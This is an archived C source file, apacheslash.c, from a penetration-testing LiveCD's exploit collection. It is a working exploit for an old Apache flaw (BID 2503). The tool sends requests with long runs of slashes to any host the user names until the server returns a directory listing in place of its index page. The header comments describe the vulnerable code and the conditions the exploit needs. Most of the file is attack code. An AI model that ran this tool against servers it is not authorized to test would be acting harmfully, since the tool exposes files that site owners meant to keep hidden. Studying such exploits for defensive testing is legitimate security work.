home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apacheslash.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  248 lines

  1. /*
  2. Program: apacheslash.c
  3. Original Date: 2-21-02
  4. Version: 1.0
  5. Platform: Linux (compiled on SuSE 7.3)
  6. c0der: st0ic
  7. site: www.fsix.net
  8. e-mail: st0ic@blackcodemail.com
  9.  
  10. Revised:
  11.     NONE thus far
  12.  
  13. Description: This program tests an Apache installation for the "Apache Artificially Long Slash Path 
  14. Directory Listing Exploit."  See SecurityFocus.com BID 2503 - http://online.securityfocus.com/bid/2503 
  15.  
  16. Compile: gcc apacheslash.c -o apacheslash
  17.  
  18. Stuff: I know theres already 3 Perl scripts that test this bug out, but there execution time is horrible
  19. so I was bored and decided to recode it in C for execution speed sake. On my box, I think it took
  20. about 8 mins to send 1000 /'s to apache with apache2.pl. It takes about 2 seconds with this program.
  21. BTW, SuSE 7.3 comes with Apache 1.3.20, which is NOT vulnerable :-). Check out the securityfocus.com
  22. BID 2503 to find out whats vulnerable and whats not.
  23.  
  24. I also included the comments from apache2.pl exploit which was modified
  25. by Siberian of sentry-labs.com. Read below for the details:
  26.  
  27. /*************************************************
  28. #!/usr/bin/perl
  29. #
  30. # orginal by farm9, Inc. (copyright 2001)
  31. # new modified code by Siberian (www.sentry-labs.com)
  32. #
  33. ########################################################################################
  34. #
  35. # Note: This isn't the orginal exploit! This one was modified and partly rewritten. 
  36. #
  37. # Changes:
  38. #
  39. # - help added (more user firendly :-) )
  40. # - messages added 
  41. # - exploit is now able to be executed on WinNT or 2k.
  42. # - uses perl version of BSD sockets (compatible to Windows)
  43. # Rewriter's Note: I rewrote (I was bored to death that evening :-) ) some
  44. # of the code and made it esaier to use and cross platform compatible.
  45. # The old verion used a esaier but not that compaible way of socket stream communication.  
  46. # Any network code was replaced by cross platform compatible BSD sockets.
  47. # (much better than any other stream method :-) )
  48. # Tested with Perl 5.6 (Linux) and ActivePerl 5.6 (Win32)
  49. #
  50. # Original comment and source is attached below.
  51. #
  52. ########################################################################################
  53. #
  54. # Name: Apache Artificially Long Slash Path Directory Listing Exploit
  55. # Author: Matt Watchinski
  56. # Ref: SecurityFocus BID 2503
  57. #
  58. # Affects: Apache 1.3.17 and below
  59. # Tested on: Apache 1.3.12 running on Debian 2.2
  60. #
  61. # Info:  This exploit tricks apache into returning a Index of the a directory
  62. #    even if an index.html file is present.  May not work on some OS's
  63. #
  64. # Details: http_request.c has a subroutine called ap_sub_req_lookup_file that in
  65. #       very specific cases would feed stat() a filename that was longer than
  66. #       stat() could handle.  This would result in a condition where stat()
  67. #       would return 0 and a directory index would be returned instead of the
  68. #       default index.html.
  69. #
  70. # Code Fragment: /src/main/http_request.c
  71. #    if (strchr(new_file, '/') == NULL) {
  72. #        char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);
  73. #
  74. #        rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
  75. #        rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
  76. #        ap_parse_uri(rnew, rnew->uri);    /* fill in parsed_uri values */    /*
  77. #        if (stat(rnew->filename, &rnew->finfo) < 0) {   <-- Important part
  78. #            rnew->finfo.st_mode = 0;
  79. #        }
  80. #
  81. # Conditions: Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled
  82. #          The directory must also have the following Options enabled:
  83. #             Indexes and MultiView
  84. #          Some OS's have different conditions on the number of character
  85. #          you have to pass to stat to make this work.  If stat doesn't
  86. #          return 0 for path names less than 8192 or so internal apache
  87. #          buffer checks will stop this exploit from working.
  88. #
  89. #           Debian needed around 4060 /'s to make this work.
  90. #
  91. # Greets: Special thanks to natasha who added a lot of debug to apache for me
  92. #      while i was trying to figure out what had to be enabled to make this
  93. #      exploit work.  Also thanks to rfp for pointing out that MultiView
  94. #      needed to be enabled.
  95. #
  96. # More Greets:  Jeff for not shooting me :) <All your Cisco's belong to us>
  97. #               Anne for being so sexy <I never though corporate espionage
  98. #                   would be so fun>
  99. #               All my homies at farm9
  100. #               DJ Charles / DJ NoloN for the phat beats
  101. #               Marty (go go gadget snort)
  102. #               All my ex-bees
  103. #               RnVjazpIaXZlcndvcmxk
  104. #
  105. # I think that wraps it up.  Have fun.
  106. -----snip snip----
  107. **************************************************/
  108.  
  109. #include <stdio.h>
  110. #include <string.h>
  111. #include <errno.h>
  112. #include <stdlib.h>
  113. #include <netdb.h>
  114. #include <sys/types.h>
  115. #include <sys/socket.h>
  116. #include <netinet/in.h>
  117. #include <unistd.h>
  118.  
  119. char tmp[10240];
  120. char output[10240];
  121. char *get = "GET ";
  122. char *slash = "/";
  123. char *http = " HTTP/1.0\r\n";
  124. char *end = "\r\n\r\n";
  125. int c, x;
  126. int port;
  127. int low;
  128. int max;
  129. int sockfd;
  130. int bytes_recieved;
  131. int count;
  132. char *addr;
  133.  
  134. struct sockaddr_in dest_addr;
  135. struct hostent *he;
  136.  
  137. void usage(char *ptr)
  138. {
  139.     fprintf(stderr, "\n\t%s <-h host> <-p port> <-l LOW> <-m MAX>", ptr);
  140.     fprintf(stderr, "\n\tExample: %s -h 127.0.0.1 -p 80 -l 1 -m 1000\n", ptr);
  141.     fprintf(stderr, "\n\tLOW is how many /'s to start with and MAX is how many /'s to end with.\n\n");
  142.     exit(1);
  143. }
  144.  
  145.  
  146. int main(int argc, char *argv[])
  147. {
  148.     printf("\n\t[       apacheslash.c     ]");
  149.     printf("\n\t[      c0ded by st0ic     ]");
  150.     printf("\n\t[         Fsix.Net        ]");
  151.     printf("\n\t[ st0ic@happyhack.zzn.com ]\n\n");
  152.  
  153.     while ( ( c = getopt(argc, argv, "h:p:l:m:") ) != -1)
  154.     {
  155.         switch(c)
  156.         {
  157.             case 'h':
  158.             {
  159.                 addr = optarg;
  160.                 break;
  161.             }
  162.             case 'p':
  163.             {
  164.                 port = atoi(optarg);
  165.                 break;
  166.             }
  167.             case 'l':
  168.             {
  169.                 low = atoi(optarg);
  170.                 break;
  171.             }
  172.             case 'm':
  173.             {
  174.                 max = atoi(optarg);
  175.                 break;
  176.             }
  177.             default:
  178.                 usage(argv[0]);
  179.         }
  180.     }
  181.  
  182.     if ( low > max || addr == NULL )
  183.         usage(argv[0]);
  184.  
  185.     if ( (he = gethostbyname(addr)) == NULL)
  186.     {
  187.         perror("gethostbyname");
  188.         exit(1);
  189.     }
  190.  
  191.     dest_addr.sin_family = AF_INET;
  192.     dest_addr.sin_addr = *( (struct in_addr *) he->h_addr);
  193.     dest_addr.sin_port = htons(port);
  194.     memset (&dest_addr.sin_zero, 0, 8);
  195.     
  196.     printf("\t\n....Working....\n");
  197.     
  198.     while (low <= max)
  199.     {
  200.         count = low;
  201.         bzero(tmp, sizeof(tmp) );
  202.         
  203.         if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0) ) == -1)
  204.         {
  205.             perror("socket");
  206.             break;
  207.         }
  208.  
  209.         if (connect (sockfd, (struct sockaddr_in *) &dest_addr, sizeof(dest_addr) ) == -1)
  210.         {
  211.             perror("connect");
  212.             exit(1);
  213.         }
  214.         
  215.         strcpy(tmp, get);
  216.         
  217.         /* copy the necessary slashes. */
  218.         for(x = 0; x < count; x++)
  219.             strcat(tmp, slash);
  220.         
  221.         strcat(tmp, http);
  222.         strcat(tmp, end);
  223.         
  224.         send(sockfd, tmp, sizeof(tmp), 0);
  225.         
  226.         bytes_recieved = 1;
  227.         while(bytes_recieved > 0)
  228.         {
  229.             bytes_recieved = recv(sockfd, output, sizeof(output), 0);
  230.             if ( (strstr(output, "Index of") ) != NULL)
  231.             {
  232.                 printf("\n\tNumber of \"/\"'s required to generate a directory listing = %d\n", low);
  233.                 close(sockfd);
  234.                 exit(0);
  235.             }
  236.         }
  237.         
  238.         low++;
  239.         close(sockfd);
  240.     }
  241.     
  242.     printf("\nHost does not appear to be vulnerable. Maybe try some different numbers...\n");
  243.     
  244.     return 0;
  245. }
  246.